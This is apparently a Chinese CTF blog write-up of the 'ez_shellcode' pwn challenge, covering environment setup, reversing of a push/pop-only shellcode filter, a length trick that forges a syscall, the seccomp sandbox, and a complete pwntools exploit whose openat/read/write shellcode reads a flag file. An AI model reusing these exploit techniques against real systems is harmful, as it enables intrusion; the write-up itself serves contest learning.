Pwn题笑笑传之奇葩Pwn题-其一

本系列仅吐槽题目出现姿势的奇葩,并不是说这是垃圾题,大家看了仅图一乐就好,顺便开阔一下视野 …


[第21届湖南省大学生计算机程序设计竞赛 – 网络攻防] – ez_shellcode ( 线下断网比赛 )

附件下载:ez_shellcode.zip

check:

1
2
3
4
5
6
7
8
9
10
[*] '/home/zlsf/com/SS/002/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./libcapstone.so.4'
SHSTK: Enabled
IBT: Enabled
Stripped: No

环境配置:

刚下载出来的时候需要配置 libcapstone.so.4 , libc.so.6 , ld-linux-x86-64.so.2 三个链接文件。

根据赛后了解不少新师傅寄在了第一步,只会打 ld 和 libc,libcapstone.so.4 发现不知道怎么打上去。

实际上其打法和 libc 一样属于动态链接库,使用如下命令:

1
patchelf --replace-needed libcapstone.so.4 ./libcapstone.so.4 ./pwn 

libc 打法如下:

1
patchelf --replace-needed libc.so.6 ./libc.so.6 ./pwn 

ld 打法如下:

1
patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./pwn 

before:

1
2
3
4
5
╰─ ldd ./pwn
linux-vdso.so.1 (0x00007f4c8cc36000)
libcapstone.so.4 => not found
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4c8ca00000)
/lib64/ld-linux-x86-64.so.2 (0x00007f4c8cc38000)

after:

1
2
3
4
5
╰─ ldd ./pwn
linux-vdso.so.1 (0x0000716137430000)
./libcapstone.so.4 (0x0000716136c00000)
./libc.so.6 (0x0000716136800000)
./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x0000716137432000)

其实到这里一切都不是大问题。

而令人思之发笑的原因在于你做完这些以后仍然不能运行程序。

运行程序出现:

1
2
╰─ ./pwn
chroot failed: Operation not permitted

原因大概是是程序在 init 函数的 57 行:

1
2
3
4
5
6
7
8
if ( chroot("/tmp/jail") )
{
v6 = __errno_location();
v7 = strerror(*v6);
fprintf(_bss_start, "chroot failed: %s\n", v7);
fflush(_bss_start);
exit(1);
}

该函数需要 root 权限才能执行。

众所周知,作为符合 linux 要求规范的用户,我们平常都是使用普通用户,而一旦我们要用 sudo 运行该程序就上了个大 B 当了。因为我们的 pwn 环境完全是基于当前普通用户安装的,切换成 root 用户运行后 pwntools 完全不好和程序进行通讯,而且由于是线下赛,在无网络的环境下也是不敢贸然改动配置。

所以我为了绕过这个限制,正好提前准备了一些专门用来调试的虚拟机:

1
2
3
4
5
6
7
8
9
10
11
╰─ docker ps -a             
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a68606c3fbe7 pwn-box-16.04 "/bin/bash" 2 months ago Exited (0) 2 months ago pwn-box-16.04
0f1cb9a81ef0 pwn-box-24.04 "/bin/bash" 3 months ago Exited (130) 3 months ago pwn-box-24.04
095f57452089 ubuntu:16.04 "/bin/bash" 3 months ago Exited (0) 3 months ago kernel-bulid-16.04
e16f0e9f2623 ubuntu:20.04 "/bin/bash" 5 months ago Exited (0) 3 months ago kernel-bulid-20.04
1c64b338c5af debian-pwn-box-11 "sh" 6 months ago Exited (137) 5 months ago debian-pwn-box-11
bf669a48bb3c pwn-box-18.04 "/bin/bash" 6 months ago Exited (0) 6 months ago pwn-box-18.04
d27f4411cd39 pwn-box-20.04 "/bin/bash" 6 months ago Exited (0) 3 months ago pwn-box-20.04
a7895a6b544e pwn-box-22.04 "/bin/bash" 6 months ago Exited (137) 23 hours ago pwn-box-22.04
34e538203db8 python:2.7 "/bin/bash" 7 months ago Exited (0) 7 months ago

启用后都是默认进入 root shell。而且都可以和宿主机完成跨 docker 与 exp 联动调试。

详见 利用pwntools脚本联动内置gdb函数优雅的调试docker中的pwn程序

至此已经完成了所有的环境准备,可以开始正式分析题目。

ida:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+0h] [rbp-10h]
ssize_t v5; // [rsp+8h] [rbp-8h]

init(argc, argv, envp);
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
v5 = read(0, buf, 0x1000uLL);
if ( v5 > 0 && (unsigned int)validate(buf, v5) )
{
if ( (unsigned int)install_seccomp() )
{
puts("seccomp install failed");
return 1;
}
((void (*)(void))buf)();
}
else
{
puts("error");
}
return 0;
}

main 函数中的 init 和 install_seccomp 函数都不重要,其中 install_seccomp 注册的沙盒我们可以通过 patch 掉前面的代码之后使用 seccomp-tools 检查沙盒。

是的,如果你没有过掉 validate 的检查,你连沙盒都看不了,而需要过 validate 的检查就必须要用 pwntools ,此时又用不了 seccomp-tools。

所以我建议 —– 直接 patch !!!

在输入完 shellcode 后程序会直接执行你的 shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 __fastcall validate(__int64 a1, __int64 a2)
{
bool v3; // al
char v4; // [rsp+1Ch] [rbp-44h]
__int64 v5; // [rsp+20h] [rbp-40h] BYREF
__int64 v6; // [rsp+28h] [rbp-38h] BYREF
__int64 v7; // [rsp+30h] [rbp-30h]
unsigned __int64 i; // [rsp+38h] [rbp-28h]
unsigned __int64 v9; // [rsp+40h] [rbp-20h]
char *s1; // [rsp+48h] [rbp-18h]
_BYTE *v11; // [rsp+50h] [rbp-10h]
unsigned __int64 v12; // [rsp+58h] [rbp-8h]

v12 = __readfsqword(0x28u);
v4 = 1;
if ( (unsigned int)cs_open(3LL, 8LL, &v5) )
return 0LL;
v9 = cs_disasm(v5, a1, a2, 0LL, 0LL, &v6);
v7 = 0LL;
if ( !v9 )
return 0LL;
for ( i = 0LL; i < v9; ++i )
{
s1 = (char *)(v6 + 240 * i + 34);
v11 = (_BYTE *)(v6 + 240 * i + 66);
v3 = !strcmp(s1, "pop") || !strcmp(s1, "push");
v4 &= *v11 == 114 && v3;
v7 += *(unsigned __int16 *)(v6 + 240 * i + 16);
}
cs_free(v6, v9);
cs_close(&v5);
return (a2 == v7) & (unsigned __int8)v4;
}

这部分逆向出来大致意思就是只允许你写入的 shellcode 存在 pop r系列和 push r系列的指令。

这意味着我们可以轻松控制任何一个寄存器,至于如何劫持程序流蛮,也十分简单,就是通过 pop rsp 和 push r系列的指令通过 pop 栈上存在的 shellcode 地址到 rsp 中就能将栈指针引到 shellcode 上,此时再次 push 就能将任一寄存器的内容压入 shellcode 完成对 shellcode 的修改。

我们现在来看看当执行 shellcode 时每个寄存器的内容以及栈上的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
RAX 0
RBX 0
RCX 0x763bd4460381 (prctl+81) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x763bd4bef000 ◂— 0x5f /* '_' */
RDI 0x16
RSI 2
R8 0
R9 0x763bd4bef000 ◂— 0x5f /* '_' */
R10 0x763bd4460381 (prctl+81) ◂— cmp rax, -0x1000 /* 'H=' */
R11 0x246
R12 0x7ffe792a2ee8 —▸ 0x7ffe792a38d2 ◂— 0x4f48006e77702f2e /* './pwn' */
R13 0x578797144ba6 (main) ◂— endbr64
R14 0x578797146ce8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x578797144420 (__do_global_dtors_aux) ◂— endbr64
R15 0x763bd4bf2040 (_rtld_global) —▸ 0x763bd4bf32e0 —▸ 0x578797143000 ◂— 0x10102464c457f
RBP 0x7ffe792a2dd0 ◂— 1
*RSP 0x7ffe792a2db8 —▸ 0x578797144c4c (main+166) ◂— jmp main+183
*RIP 0x763bd4bef000 ◂— 0x5f /* '_' */
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x763bd4bef000 pop rdi RDI => 0x578797144c4c (main+166)
0x763bd4bef001 add byte ptr [rax], al
0x763bd4bef003 add byte ptr [rax], al
0x763bd4bef005 add byte ptr [rax], al
0x763bd4bef007 add byte ptr [rax], al
0x763bd4bef009 add byte ptr [rax], al
0x763bd4bef00b add byte ptr [rax], al
0x763bd4bef00d add byte ptr [rax], al
0x763bd4bef00f add byte ptr [rax], al
0x763bd4bef011 add byte ptr [rax], al
0x763bd4bef013 add byte ptr [rax], al
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7ffe792a2db8 —▸ 0x578797144c4c (main+166) ◂— jmp main+183
01:0008-010 0x7ffe792a2dc0 —▸ 0x763bd4bef000 ◂— 0x5f /* '_' */
02:0010-008 0x7ffe792a2dc8 ◂— 1
03:0018│ rbp 0x7ffe792a2dd0 ◂— 1
04:0020│+008 0x7ffe792a2dd8 —▸ 0x763bd4363d90 ◂— mov edi, eax
05:0028│+010 0x7ffe792a2de0 ◂— 0
06:0030│+018 0x7ffe792a2de8 —▸ 0x578797144ba6 (main) ◂— endbr64
07:0038│+020 0x7ffe792a2df0 ◂— 0x100000000
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
0 0x763bd4bef000 None
1 0x578797144c4c main+166
2 0x763bd4363d90 None
3 0x763bd4363e40 __libc_start_main+128
4 0x5787971443a5 _start+37
────────────────────────────────────────────────────────────────────────────────
pwndbg>

此时我们除了控制到程序流还有一个最重要的问题,怎么修改 shellcode 为我们想要的指令。

在我们能控制各个寄存器后我们目前最想要的肯定是 syscall 指令,其 16 进制为 \x05\x0f。

而栈上和寄存器内都没有该值。对于这个问题,我有一个绝妙的办法,可惜这里 … … 完全可以写下 !

我们将目光放回到我们输入 shellcode 的时候,我们不难发现我们可以输入高达 0x1000 字节长度的 shellcode。

而 v5 则是存放我们输入长度的变量,v5 明显是存在于栈上的。

这意味着我们可以在我们的 shellcode 后面填充大量的毫无意义的 pop 来将 v5 变成 0x50F 。

这正是我们需要的 syscall。

如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
payload = asm('''
pop rbx
pop rsi
pop rdx
pop rbx
pop rbx
pop rdi
push rsi
pop rsp
pop rbx
pop rbx
pop rbx
push rdx
''')

payload = payload.ljust(0x50f, asm(''' pop rbx '''))

se(payload)

此时的内存 belike:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
RAX 0
RBX 0
RCX 0x79fee95d8381 (prctl+81) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x79fee9d67000 ◂— pop rbx /* 0x5c565f5b5b5a5e5b */
RDI 0x16
RSI 2
R8 0
R9 3
R10 0x79fee95d8381 (prctl+81) ◂— cmp rax, -0x1000 /* 'H=' */
R11 0x246
R12 0x7fff6f9bf168 —▸ 0x7fff6f9bf8d2 ◂— 0x4f48006e77702f2e /* './pwn' */
R13 0x5b3cb73f2ba6 (main) ◂— endbr64
R14 0x5b3cb73f4ce8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5b3cb73f2420 (__do_global_dtors_aux) ◂— endbr64
R15 0x79fee9d6a040 (_rtld_global) —▸ 0x79fee9d6b2e0 —▸ 0x5b3cb73f1000 ◂— 0x10102464c457f
RBP 0x7fff6f9bf050 ◂— 1
*RSP 0x7fff6f9bf038 —▸ 0x5b3cb73f2c4c (main+166) ◂— jmp main+183
*RIP 0x79fee9d67000 ◂— pop rbx /* 0x5c565f5b5b5a5e5b */
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x79fee9d67000 pop rbx RBX => 0x5b3cb73f2c4c (main+166)
0x79fee9d67001 pop rsi RSI => 0x79fee9d67000
0x79fee9d67002 pop rdx RDX => 0x50f
0x79fee9d67003 pop rbx RBX => 1
0x79fee9d67004 pop rbx RBX => 0x79fee94dbd90
0x79fee9d67005 pop rdi RDI => 0
0x79fee9d67006 push rsi
0x79fee9d67007 pop rsp RSP => 0x79fee9d67000
0x79fee9d67008 pop rbx RBX => 0x5c565f5b5b5a5e5b
0x79fee9d67009 pop rbx RBX => 0x5b5b5b5b525b5b5b
0x79fee9d6700a pop rbx RBX => 0x5b5b5b5b5b5b5b5b
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7fff6f9bf038 —▸ 0x5b3cb73f2c4c (main+166) ◂— jmp main+183
01:0008-010 0x7fff6f9bf040 —▸ 0x79fee9d67000 ◂— pop rbx /* 0x5c565f5b5b5a5e5b */
02:0010-008 0x7fff6f9bf048 ◂— 0x50f
03:0018│ rbp 0x7fff6f9bf050 ◂— 1
04:0020│+008 0x7fff6f9bf058 —▸ 0x79fee94dbd90 ◂— mov edi, eax
05:0028│+010 0x7fff6f9bf060 ◂— 0
06:0030│+018 0x7fff6f9bf068 —▸ 0x5b3cb73f2ba6 (main) ◂— endbr64
07:0038│+020 0x7fff6f9bf070 ◂— 0x100000000
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
0 0x79fee9d67000 None
1 0x5b3cb73f2c4c main+166
2 0x79fee94dbd90 None
3 0x79fee94dbe40 __libc_start_main+128
4 0x5b3cb73f23a5 _start+37
────────────────────────────────────────────────────────────────────────────────
pwndbg>

至于为什么在 pop rsp 后那么久才 push rdx。

这是因为 pop 和 push 操作都有以 8 字节为单位的,而 shellcode 的执行是单字节执行的,所以需要写 pop 填充在程序流后面等待 syscall。

至此我们可以轻松构造出 read 来无条件修改 shellcode 进行栈续写衔接程序流 belike:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
  0x79fee9d6700b    push   rdx
0x79fee9d6700c pop rbx RBX => 0x50f
0x79fee9d6700d pop rbx RBX => 0x5b5b5b5b5b5b5b5b
0x79fee9d6700e pop rbx RBX => 0x5b5b5b5b5b5b5b5b
0x79fee9d6700f pop rbx RBX => 0x5b5b5b5b5b5b5b5b
0x79fee9d67010 syscall <SYS_read>
fd: 0 (socket:[25238])
buf: 0x79fee9d67000 ◂— pop rbx /* 0x5c565f5b5b5a5e5b */
nbytes: 0x50f
0x79fee9d67012 add byte ptr [rax], al
0x79fee9d67014 add byte ptr [rax], al
0x79fee9d67016 add byte ptr [rax], al
0x79fee9d67018 pop rbx
0x79fee9d67019 pop rbx

还记得我们说的沙盒吗,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS

(感谢临江仙师傅的帮忙 patch)

你这是典型的 orw 思维,还好我提前准备的对于 openat 函数有所准备,其调用方法为:

1
2
3
4
5
6
7
8
9
openat:

rdi = -100(代表当前目录)

rsi = “flag"的地址

rdx= 0(只读方式打开)

rax= 257

所以我的完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *
import subprocess
import os
#from ctypes import *

def stre(a) : return str(a).encode()
def ph(a,b="addr") : print(b+": "+hex(a))
def re(a) : return p.recv(a)
def pre(a) : print(p.recv(a))
def reu(a,b=False) : return p.recvuntil(a,drop=b)
def rel() : return p.recvline()
def se(a) : p.send(a)
def sea(a,b) : p.sendafter(a,b)
def sel(a) : p.sendline(a)
def sela(a,b) : p.sendlineafter(a,b)
def op() : p.interactive()
def cp() : p.close()
def raddr64() : return u64(p.recv(6).ljust(8,b'\x00'))
def raddr32() : return u32(p.recv(4))
def raddr_T() : return int(re(14),16)
def raddr_A() : return int(reu(b"-",True),16)
def get_pid(process_name):
ps_output = subprocess.check_output(['ps', '-a']).decode('utf-8')
lines = ps_output.splitlines()
for line in lines:
if process_name in line:
pid = line.split()[0]
if pid.isdigit():
return pid
return None
def gdbremote(pid , name = 'pwn-box-22.04' , port = '10000' , ip = '127.0.0.1'):
os.system("gnome-terminal -- bash -c \"docker exec -it " + name + " gdbserver :" + port + " --attach " + pid + " \"")
os.system("gnome-terminal -- bash -c \"gdb -ex \\\"target remote " + ip + ":" + port + "\\\" \"")
def orw_rop64(pop_rdi,pop_rsi,pop_rdx,flag_addr,open_addr,read_addr,write_addr):
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(read_addr)
orw+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(write_addr)
return orw
def getorw(name,buf,Arch) :
sh=shellcraft.open(name)
sh+=shellcraft.read(3,buf,0x30)
sh+=shellcraft.write(1,buf,0x30)
sh=asm(sh,arch=Arch)
return sh
def gdbp(p,a='') :
if a!='':
gdb.attach(p,a)
pause()
else :
gdb.attach(p)
pause()

p = remote("127.0.0.1", 9999)
#p = process("./pwn")
#elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
#lib = cdll.LoadLibrary(None)

#p = process(["qemu-mipsel-static","-g", "9999","-L","./","./pwn"])
#p = process(["qemu-mipsel-static","-L","./","./pwn"])

#context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
#elf.arch , elf.so

#gdbremote(get_pid("pwn"))

payload = asm('''
pop rbx
pop rsi
pop rdx
pop rbx
pop rbx
pop rdi
push rsi
pop rsp
pop rbx
pop rbx
pop rbx
push rdx
''')

payload = payload.ljust(0x50f, asm(''' pop rbx '''))

se(payload)

pause()

payload = b"flag.txt"
payload = payload.ljust(0x12, b"\x00")
payload+= asm('''
mov r8, rsi
mov rdi,-100
xor rdx,rdx
mov rax,257
syscall
mov rdi, 2
mov rsi, r8
add rsi, 0x500
mov rdx, 0x20
mov rax, 0
syscall
mov rdi, 1
mov rsi, r8
add rsi, 0x500
mov rdx, 0x20
mov rax, 1
syscall
''')

se(payload)

op()

事情到这里原本就应该结束了,目前我花了接近一个半小时,离比赛结束还有接近五个小时,此刻问题来了,靶机无法被启动,并且每支队伍仅能同时启动一台靶机,什么意思呢,就是这台靶机被卡住,我们队伍其他靶机也无法启动,主办方是会节省服务器资源的。

修好后已经是接近一个小时以后,启动后初见端倪,靶机显示给了我一个 socket5 的服务器链接以及用户名和密码。要求我连接代理后再次 nc 192.168.100.2。

这位的操作更是惊为天人,坎比 ISCC 的静态靶机,pwn师傅应该都比较清楚,linux的终端本身就是不好走全局代理的东西,至少我目前没有什么好办法能让终端走全局代理,而这 socket5 代理我更是没用过,为了解决这个问题,我花了两个小时。

在从队友手上借到一个 v2ray (Windows端) 后我终于找到新建 socket5 代理的地方,而按照 clash for windows 的经验,这种代理都可以通过局域网共享使用,所以我开启了其局域网共享,并且成功在终端通过配置并使用 proxychains 工具完成了 nc 以及 pwntools 的代理。成功连接上靶机。

我最后获得 flag 了吗,并没有,初步推测为远程的 flag 不叫 flag 或 flag.txt ,或者 jail 环境挡住了我。

最后我想说的是,我好不容易拼了这么久的 shellcode ,你却让我输的这么彻底。

焯!

我的建议是下次也别搞代理了,把所有的题目全部隐藏,只提供网络,所有的网络资源都需要自己扫描发现,包括解题平台,把附件放一台服务器上,靶机放另外一台服务器上,全看自己发现和进行题目匹配。

运维能想出这个代理连接的家里确实得请哈基胖了,给运维赞一个【赞】。


Pwn题笑笑传之奇葩Pwn题-其一
https://zlsf-zl.github.io/2025/10/14/Pwn题笑笑传之奇葩Pwn题-其一/
作者
ZLSF
发布于
2025年10月14日
许可协议